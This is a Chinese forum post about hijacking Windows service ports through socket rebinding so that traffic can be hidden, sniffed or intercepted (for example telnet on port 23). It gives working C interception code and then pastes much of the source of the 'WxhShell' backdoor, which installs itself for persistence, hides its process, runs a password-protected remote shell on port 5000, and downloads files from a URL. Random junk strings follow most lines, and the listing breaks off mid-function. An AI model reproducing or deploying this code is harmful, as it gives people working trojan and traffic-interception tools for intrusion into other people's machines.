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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: No|{rYYKK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q9V4-MC9  
!{0!G  
  saddr.sin_family = AF_INET; TzXl ?N  
6%y: hLT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c$z_Zi!g#  
LJ#P- `!{&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e-meUf9  
];]EK6dzG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (3*Hl  
>k-poBw  
  这意味着什么?意味着可以进行如下的攻击: :Djp\ e6!  
SSC!BcC1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A84HaRlkF5  
aN3{\^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {q4"x5|  
&zy9}4w,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $ wB  
0g)mf6}o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g?M69~G$:x  
r!uAofIi_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &|;!St]!M  
GTe9@d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bV,R*C  
@/iLC6QF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ti% e.p0[  
Uij$ eBN  
  #include gJ7pu N  
  #include &6EfybAt^_  
  #include )HE yTHLtJ  
  #include    Pl6=._  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]x\wP7x  
  int main() d(XWt;KK  
  { 96j2D8=w  
  WORD wVersionRequested; ,#haai(  
  DWORD ret; V [>5  
  WSADATA wsaData; RwKN  
  BOOL val; Q+dI,5YF  
  SOCKADDR_IN saddr; R/|o?qTrj  
  SOCKADDR_IN scaddr; `lzH:B  
  int err; `,"Jc<R7Z  
  SOCKET s; 56dl;Z)  
  SOCKET sc; Z;:-8 HPDY  
  int caddsize; tDkqwF),  
  HANDLE mt; `#bcoK5  
  DWORD tid;   WI3!?>d  
  wVersionRequested = MAKEWORD( 2, 2 ); )]R8 $S  
  err = WSAStartup( wVersionRequested, &wsaData ); Y8(yOVy9  
  if ( err != 0 ) { 39CPFgi<l*  
  printf("error!WSAStartup failed!\n"); nU)f]4q{Ec  
  return -1; ~K`bl W47  
  }  ovO^uWz`  
  saddr.sin_family = AF_INET; V5MbWXgR  
   Hua8/:![+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h,g~J-x`|  
ZAwl,N){  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w@We,FUJN  
  saddr.sin_port = htons(23); j!dklQh0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ZH=$c*W  
  { ,s K-gw  
  printf("error!socket failed!\n"); }S4Fy3)  
  return -1; c,^-nH'X>  
  } FTe#@\I  
  val = TRUE; =t2epIr 5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NKws;/u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ImVe 71mh  
  { ^;d;b<  
  printf("error!setsockopt failed!\n"); /_8V+@im  
  return -1; G39t'^ZK*#  
  } G1|:b-C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8iRQPV-"_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fkM4u<R^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tj:F Qnx  
vvCGzOv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JAK*HA  
  { zZ63 P  
  ret=GetLastError(); T5)?6i -N  
  printf("error!bind failed!\n"); dWA7U6c<  
  return -1; AXFVsZH"zi  
  } 0OXd*  
  listen(s,2); :&MiO3#+  
  while(1) 04:Dbt~=?p  
  { 4Ki'r&L\  
  caddsize = sizeof(scaddr); L<n_}ucA  
  //接受连接请求 QB3AL; 7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uJizR F  
  if(sc!=INVALID_SOCKET) nYY U  
  { j#,O,\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _"=~aMXC.)  
  if(mt==NULL) "$_ypgRrSR  
  { 1mqFnVkf&+  
  printf("Thread Creat Failed!\n"); ~n?U{ RmH  
  break; l:+1j{ d7  
  } #@ G2n@Hj  
  } = j -  
  CloseHandle(mt); "q8wEu,z[  
  } cP,jC(<N  
  closesocket(s); W7 $yE},z  
  WSACleanup(); `{%*DHa  
  return 0; vs +N{ V  
  }   0#G"{M  
  DWORD WINAPI ClientThread(LPVOID lpParam) )%6v~,'3Y  
  { |j;`;"+B  
  SOCKET ss = (SOCKET)lpParam; 6tM{cK%v1  
  SOCKET sc; -kO=pYP*O  
  unsigned char buf[4096]; ocvBKsfhE`  
  SOCKADDR_IN saddr; D c^d$gh  
  long num; h!.(7qdd  
  DWORD val; n~LR=o  
  DWORD ret; #AHIlUH"m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y+E@afsKs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q:( K^  
  saddr.sin_family = AF_INET; ^,3 >}PU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O3Uu{'=0  
  saddr.sin_port = htons(23); 8^T' a^Wt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?~$y3<[  
  { 2-]m#}zbP  
  printf("error!socket failed!\n"); {)+/w"^.  
  return -1; >z2 {D7  
  } -v:Y\=[\  
  val = 100; ${?Px c{-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qQb8K+t  
  { ,F1$Of/'@\  
  ret = GetLastError(); W$y?~2  
  return -1; "H({kmR  
  } x-"7{@lz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N4Ym[l  
  { eWFlJ;=  
  ret = GetLastError(); z}5XLa^  
  return -1; \%K6T)9  
  } 9X-DR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eK`tFs,u  
  { g$+3IVq&  
  printf("error!socket connect failed!\n"); KP i@wl3  
  closesocket(sc); lm+wjhkN  
  closesocket(ss); .p&M@h w  
  return -1; /w|YNDA]j  
  } =<<\Uo  
  while(1) ?lTQjw{  
  { U|>Js!$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a P`;Nr=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !U91  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OSBE5  
  num = recv(ss,buf,4096,0); hk~ s1"  
  if(num>0) {*: C$"L  
  send(sc,buf,num,0); uaS?y1:c  
  else if(num==0) V{8mx70  
  break; V/03m3!q  
  num = recv(sc,buf,4096,0); >uVG]  
  if(num>0) F$caKWzny5  
  send(ss,buf,num,0); __a9}m4i7x  
  else if(num==0) 7':|f"  
  break; aW"BN 5eM>  
  } -+z^{*\; N  
  closesocket(ss); GK)hK-  
  closesocket(sc); *2 [r?!  
  return 0 ; \d6A<(!=v  
  } {BF$N#7  
Dd*C?6  
D=3NI  
========================================================== R_-.:n%.z  
%rf<YZ.\  
下边附上一个代码,,WXhSHELL C 9DRVkjj  
CkOd>Kn  
========================================================== f#!Ljjf$;  
8r~4iVwg  
#include "stdafx.h" rtPQ:CaA)?  
{3l] /X3  
#include <stdio.h> v +7<}  
#include <string.h> a{y ;Ub  
#include <windows.h> P:Bg()  
#include <winsock2.h> /u?^s "C/  
#include <winsvc.h> n|8fdiK#}  
#include <urlmon.h> /m%;wH|6%  
+Ix;~  
#pragma comment (lib, "Ws2_32.lib")  G=wJz  
#pragma comment (lib, "urlmon.lib") CrK}mbe  
s8R.?mhH=  
#define MAX_USER   100 // 最大客户端连接数 w|NLK  
#define BUF_SOCK   200 // sock buffer -ohqw+D  
#define KEY_BUFF   255 // 输入 buffer <FP&1Eg!|  
IF<jq\M  
#define REBOOT     0   // 重启 -?j'<g0  
#define SHUTDOWN   1   // 关机 tFG&~tNc  
>1W)J3  
#define DEF_PORT   5000 // 监听端口 ,}J(&  
aC;OFINK  
#define REG_LEN     16   // 注册表键长度 y3d`$'7H>  
#define SVC_LEN     80   // NT服务名长度 C}7Sh6  
JVN0];IL}  
// 从dll定义API xgfK0-T|[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z/O5Dear/h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0DGXMO$;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T$SGf.-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }LOAT$]XI  
?v6xa Vg:  
// wxhshell配置信息 {>90d(j  
struct WSCFG { 1X]?-+',.  
  int ws_port;         // 监听端口 cZA l.}/  
  char ws_passstr[REG_LEN]; // 口令 x2 l~aw#?  
  int ws_autoins;       // 安装标记, 1=yes 0=no e~xN[Q\0]  
  char ws_regname[REG_LEN]; // 注册表键名 *M09Y'5]  
  char ws_svcname[REG_LEN]; // 服务名 xM[m(m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zhf+u r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Py K)ks!6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Ka}v:E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u1rT:\G1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y4+Km*am,W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oo$i,|$$  
usU5q>1  
}; | X! d*4  
ttgb"Wb%S  
// default Wxhshell configuration ZPRkk?M}.  
struct WSCFG wscfg={DEF_PORT, dxsPX =\:  
    "xuhuanlingzhe", sZ_+6+ :  
    1, Ubv<3syR'  
    "Wxhshell", |pA3ZWm  
    "Wxhshell",  "H#2  
            "WxhShell Service", 8do-z"-  
    "Wrsky Windows CmdShell Service", .O@T#0&=_  
    "Please Input Your Password: ", Zh,(/-XN;  
  1, ] %pr1Ey  
  "http://www.wrsky.com/wxhshell.exe", RAPR-I;{  
  "Wxhshell.exe" x= X"4Mj0)  
    }; PCtf&U  
" 5,'K~hz  
// 消息定义模块 ^Yul|0*J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zr2oU '+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yC pU1 73V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wX[g\,?}'  
char *msg_ws_ext="\n\rExit."; IBZ_xU\2  
char *msg_ws_end="\n\rQuit."; ,:;ZzHzR0  
char *msg_ws_boot="\n\rReboot..."; ?`8jn$W^  
char *msg_ws_poff="\n\rShutdown..."; f<?v.5($  
char *msg_ws_down="\n\rSave to "; MDAJ p>o  
;Lr]w8d  
char *msg_ws_err="\n\rErr!"; B^nE^"b  
char *msg_ws_ok="\n\rOK!"; *d b,N'rK  
fgdqp8~  
char ExeFile[MAX_PATH]; h8'`g 0  
int nUser = 0; bL-+  
HANDLE handles[MAX_USER]; dD ?ZF6  
int OsIsNt; NSI$uS6  
jnho *,X  
SERVICE_STATUS       serviceStatus; MfQ 9d9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HHzAmHt  
6fY-D qF!  
// 函数声明 @Jr:+|v3B  
int Install(void); MfNsor  
int Uninstall(void); SJ8Ax_9{q  
int DownloadFile(char *sURL, SOCKET wsh); ~Z-o2+xA  
int Boot(int flag); "n'kv!?\  
void HideProc(void); )B)e cJJ_  
int GetOsVer(void); X;'H@GU0  
int Wxhshell(SOCKET wsl); db#svj*  
void TalkWithClient(void *cs); m) QV2n  
int CmdShell(SOCKET sock); #g=7fu{n:  
int StartFromService(void); wwaw|$  
int StartWxhshell(LPSTR lpCmdLine); B63puX{u#  
xl>8B/Zmf#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kn %i#Fz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 );8z!+  
x,L<{A`z  
// 数据结构和表定义 v(=?@ tF}E  
SERVICE_TABLE_ENTRY DispatchTable[] = zi%Ql|zI~  
{ 9lqH  
{wscfg.ws_svcname, NTServiceMain}, @S9^~W3G3  
{NULL, NULL} s_o{w"3X  
}; Zo`_vx/{j  
SFJ"(ey$  
// 自我安装 [8jIu&tJf  
int Install(void) AdD,94/  
{ J~}sQ{ 0  
  char svExeFile[MAX_PATH]; ANWfRtiU#  
  HKEY key; z>]P_E~`}  
  strcpy(svExeFile,ExeFile); n,D&pl9f  
D||)H  
// 如果是win9x系统,修改注册表设为自启动 FdGnNDl*e  
if(!OsIsNt) { ?mwa6]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y#[xX2z9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D,\hRQ  
  RegCloseKey(key);  T_)G5a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *(E]]8o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {^":^N)  
  RegCloseKey(key); {'cm;V+  
  return 0; >)^Q p-  
    } cS#yfN,  
  } T {:8,CiW  
} U'@#n2p:k  
else { +N}yqgE  
;"B@QPX  
// 如果是NT以上系统,安装为系统服务 []:&WA 9N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (h"-#q8$  
if (schSCManager!=0) PCx:  
{ d0V*[{  
  SC_HANDLE schService = CreateService +?)R}\\  
  ( #(7^V y&  
  schSCManager, 'pj*6t1~  
  wscfg.ws_svcname, >t#5eT`_ w  
  wscfg.ws_svcdisp, dk/f_m  
  SERVICE_ALL_ACCESS, F1*xY%Jv^M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |_njN  
  SERVICE_AUTO_START, S ^]mF>xX8  
  SERVICE_ERROR_NORMAL, 1 HY K& ',  
  svExeFile, 9+#BU$*v  
  NULL, i0n u5kD+d  
  NULL, ;F|8#! (  
  NULL, [2{2w68D!  
  NULL, (<2!^v0.M  
  NULL )LAG$Cn  
  ); jP#I](\eG  
  if (schService!=0) .WLwAL  
  { {X 5G  
  CloseServiceHandle(schService); b$q~(Z}  
  CloseServiceHandle(schSCManager); ~6=aoF5"3?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LNcoTdv}k  
  strcat(svExeFile,wscfg.ws_svcname); & LhQr-g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ [bJ@f*."  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v]\T&w%9  
  RegCloseKey(key); M1=eS@  
  return 0; )>tT ""yEl  
    } f}EsS  
  } )# v}8aL  
  CloseServiceHandle(schSCManager); &o]fBdn  
} !5 ?<QKOe  
} &z05h<]  
*4/KK  
return 1; uuQsK. S  
} D+u\ORj  
87F]a3  
// 自我卸载 z))rk vL%  
int Uninstall(void) =om<*\vsO  
{ [HhaBy9  
  HKEY key; FqZD'Uu7  
M?5voV*  
if(!OsIsNt) { ymn@1BA8J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1:RK~_E  
  RegDeleteValue(key,wscfg.ws_regname); HQSFl=Q  
  RegCloseKey(key); wlQ @3RN>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _FU}IfG>t  
  RegDeleteValue(key,wscfg.ws_regname); /.(~=6o5  
  RegCloseKey(key); OepQ Z|2  
  return 0; cd`P'GDF  
  } 8_Z"@  
} Tv `&  
} cfPp>EK  
else { G.r =fNP  
9VMk?   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MAp#1+k  
if (schSCManager!=0) - _~\d+>w  
{ N/[!$B0H@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G^Y^)pc]   
  if (schService!=0) :Dfl,=S  
  { 0$i\/W+  
  if(DeleteService(schService)!=0) { K+d{R=s^  
  CloseServiceHandle(schService); o=-Af|#b  
  CloseServiceHandle(schSCManager); q;#bFPh  
  return 0; K"!U&`T  
  } 2V~uPZ  
  CloseServiceHandle(schService); |"[;0)dw^  
  } Ff d4c  
  CloseServiceHandle(schSCManager); Z{gDEo)  
} ?BbEQr  
} !=HxL-`j  
FxT]*mo  
return 1; [+ : zlA  
} WR u/7$8  
Nrq/Pkmy  
// 从指定url下载文件 nGsFt.  
int DownloadFile(char *sURL, SOCKET wsh) wv=U[:Y  
{ [!Djs![O  
  HRESULT hr; +jS<n13T  
char seps[]= "/"; %zR5q  Lb  
char *token; <dAxB$16sT  
char *file; Zad>i w}  
char myURL[MAX_PATH]; 8Pva]Q  
char myFILE[MAX_PATH]; 6W~JM^F  
:;IZ|hU  
strcpy(myURL,sURL); e.Jaq^Gw|  
  token=strtok(myURL,seps); .yHK  
  while(token!=NULL) @LY[kt6o  
  { lv~ga2>z  
    file=token; tv2k&\1  
  token=strtok(NULL,seps); :fUNc^\2  
  } U lCw{:#F  
Nr}O6IJ>Sg  
GetCurrentDirectory(MAX_PATH,myFILE); xZ* B}O{{H  
strcat(myFILE, "\\"); b2RW=m-  
strcat(myFILE, file); 4q?R3 \e;  
  send(wsh,myFILE,strlen(myFILE),0); ?kRx;S+  
send(wsh,"...",3,0); tOZ-]>U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P)~olrf  
  if(hr==S_OK) YgtW(j[  
return 0; b?<@  
else - ~*kAh  
return 1; vbtjPse  
[h>A<O  
} fJ=(oF=  
R%\<al$O  
// 系统电源模块 {DE4PE`  
int Boot(int flag) X_)I"`  
{ ) r"7"i  
  HANDLE hToken; W}|k!_/  
  TOKEN_PRIVILEGES tkp; =>&~p\Aw  
QyrB"_dm  
  if(OsIsNt) { *|cs_,3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dp2FC   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xCyD0^KY  
    tkp.PrivilegeCount = 1; dnM.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uH7!)LE#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dc 84^>l  
if(flag==REBOOT) { P,7R/-u5D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jF(R;?,  
  return 0; zQ+ %^DT1  
} FuAs$;  
else { K;`W4:,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -zZb]8\E  
  return 0; x]608I T  
} +:/.\3v71  
  } P%d3fFzK  
  else { Gz--C(  
if(flag==REBOOT) { HcV,r,>e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &o&}5Aba9  
  return 0; J<9}) m  
} #%/Jr 52<  
else { bU}l*"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Moi>Dp  
  return 0; ) bd`U  
} Yf1%7+V35  
} =tX"aCW~  
0Ag2zx  
return 1; Cd_H<8__  
} %fXgV\xY  
,,g: x  
// win9x进程隐藏模块 X@/wsW(kM\  
void HideProc(void) q9\(<<f|  
{ :3b\pEO9\  
]w]:9w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YllW2g:  
  if ( hKernel != NULL ) V<U9Pj^?^  
  { q AsTiT6r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1l^ `  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SP vKq=,  
    FreeLibrary(hKernel); Z}IuR|=  
  } +O8}twt@  
<d[GGkY]=  
return; M=1~BZQ(Z  
} E};1 H  
4KW_#d`t  
// 获取操作系统版本 >keY x<1  
int GetOsVer(void) ']H*f2y  
{ @# . a5  
  OSVERSIONINFO winfo; roIc1Ax:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a,:Nlr3  
  GetVersionEx(&winfo);  Sg(\+j=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &$h#9  
  return 1; dd@ D s  
  else vtzbF1?O  
  return 0; qy-Hv6oof  
} %4/X;w\3  
g}BS:#$  
// 客户端句柄模块 aq9Ej]1b  
int Wxhshell(SOCKET wsl) kZcGe*  
{ N0YJ'.=8,  
  SOCKET wsh; awLSY:JI  
  struct sockaddr_in client; GwG(?_I"  
  DWORD myID; MEtKFC|p  
]XWtw21I1  
  while(nUser<MAX_USER) TUQe.oAi  
{ jz I,B  
  int nSize=sizeof(client); 1NAtg*`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `R-VJR 2"  
  if(wsh==INVALID_SOCKET) return 1; 8vj]S5  
aOEW$%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l 1BAW$  
if(handles[nUser]==0) qIO)<5\[%d  
  closesocket(wsh); ;F/s!bupCM  
else xoQqku"vn  
  nUser++; iH-(_$f;  
  } BbgKaCq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OjK+`D_C  
3\|PwA9fN8  
  return 0;  >6'brb  
} f=>ii v  
V)mi1H|m  
// 关闭 socket T 0?9F2  
void CloseIt(SOCKET wsh) irn }.e  
{ -)e(Qt#ewl  
closesocket(wsh); %,udZyO3uR  
nUser--; }jL4F$wC  
ExitThread(0); {dvsZJj  
} .Txwp?};  
X- SR0x  
// 客户端请求句柄 ,(kaC.Em  
void TalkWithClient(void *cs) D Z=OZ.v  
{ Gx(%AB~9$  
|3gWH4M4**  
  SOCKET wsh=(SOCKET)cs; |(5|6r3  
  char pwd[SVC_LEN]; fBP J8VY  
  char cmd[KEY_BUFF]; -B:O0;f  
char chr[1]; :]`JcJ  
int i,j; %z["TVH  
eGI&4JgJ.  
  while (nUser < MAX_USER) { "':SWKuMx  
(U*Zz+ R   
if(wscfg.ws_passstr) { J*qo3aJjE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / KKA/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rU7t~DKS  
  //ZeroMemory(pwd,KEY_BUFF); 9|>5;Ej  
      i=0; T{Yk/Z/}?  
  while(i<SVC_LEN) { *35o$P46  
LhKUZX,P8  
  // 设置超时 B_0]$D0 ^  
  fd_set FdRead; ?xo<Fv  
  struct timeval TimeOut; 3\5I4#S  
  FD_ZERO(&FdRead); }ct*<zj[~u  
  FD_SET(wsh,&FdRead); sV`XJ9e|  
  TimeOut.tv_sec=8; Aoy=gK  
  TimeOut.tv_usec=0; zi,":KDz#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V V Aw y6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9<*<-x{A17  
2*0n#" L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w%kaM=  
  pwd=chr[0]; %&4\'lE  
  if(chr[0]==0xd || chr[0]==0xa) { Xgo`XsA  
  pwd=0; L%f$ &  
  break; `e+eL*rZ~  
  } 9`DY6qfly  
  i++; [Ny'vAHOj  
    } pEiq;2{~Yn  
+fq;o8q  
  // 如果是非法用户,关闭 socket T!Uf PfEI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jHc/ EZB  
} Wu693<  
)H1chNI)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eRIdN(pP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $+HS^m  
=L}$#Y8?  
while(1) { aGmbB7[BZ  
Wr.~Ns <  
  ZeroMemory(cmd,KEY_BUFF); Jry643K>:;  
|r53>,oR<:  
      // 自动支持客户端 telnet标准   5$ rV0X,O  
  j=0; S3YAc4  
  while(j<KEY_BUFF) { ZmJHLn[ B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KnYHjJa  
  cmd[j]=chr[0]; z';h5GNd>z  
  if(chr[0]==0xa || chr[0]==0xd) { $ dHD  
  cmd[j]=0; w7_2JS  
  break; T q5F'@e  
  } Q9 RCN<!  
  j++; 8j!(*'J.  
    } p9iCrqi  
_ 4+=S)$  
  // 下载文件 K.\-  
  if(strstr(cmd,"http://")) { -!ERe@k(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); edh<L/%D  
  if(DownloadFile(cmd,wsh)) '5n=tRx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{s4Bo-  
  else xqaw00,s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hin6cac  
  } OTwXc*2u]  
  else { h3kBNBI )  
1z=}`,?>  
    switch(cmd[0]) { }ilX 2s?>  
  &E8fd/s= k  
  // 帮助 Hxd ^oE  
  case '?': { {,i='!WIm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j_~lc,+m  
    break; '#x<Fo~hT  
  } c)=UX_S!  
  // 安装 [KwwhI@3  
  case 'i': { QjwCY=PK!  
    if(Install()) Q@#Gm9m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3t 4$3|  
    else 0B~Q.tyP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @7<m.?A!  
    break; >eaK@u-'0  
    } JZrUl^8E  
  // 卸载 =;A~$[g  
  case 'r': { ~b{j`T  
    if(Uninstall()) u+uu?.bM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); auQfWO[ u  
    else vW4N[ .+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Rvsy;7  
    break; f*~z|  
    } dCM*4B<  
  // 显示 wxhshell 所在路径 F`YxH*tO7  
  case 'p': { 4WV)&50  
    char svExeFile[MAX_PATH]; ) XHcrm&  
    strcpy(svExeFile,"\n\r"); _i{4 4zE  
      strcat(svExeFile,ExeFile); #n}n %  
        send(wsh,svExeFile,strlen(svExeFile),0); H[8P]"*z*i  
    break; oM#S.f?  
    } ^7~w yAr  
  // 重启 V/7?]?!xu  
  case 'b': { y7# 4Mcc`~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \:wLUGFl 5  
    if(Boot(REBOOT)) S~DY1e54GF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4i o02qd 4  
    else { 3$ 1 z  
    closesocket(wsh); EaGS}=qY5  
    ExitThread(0); Y^f12%  
    } Gk5SG_o  
    break; L #l|}u  
    } ? /Z hu  
  // 关机 4\yKd8I  
  case 'd': { 1)m&6:!b  
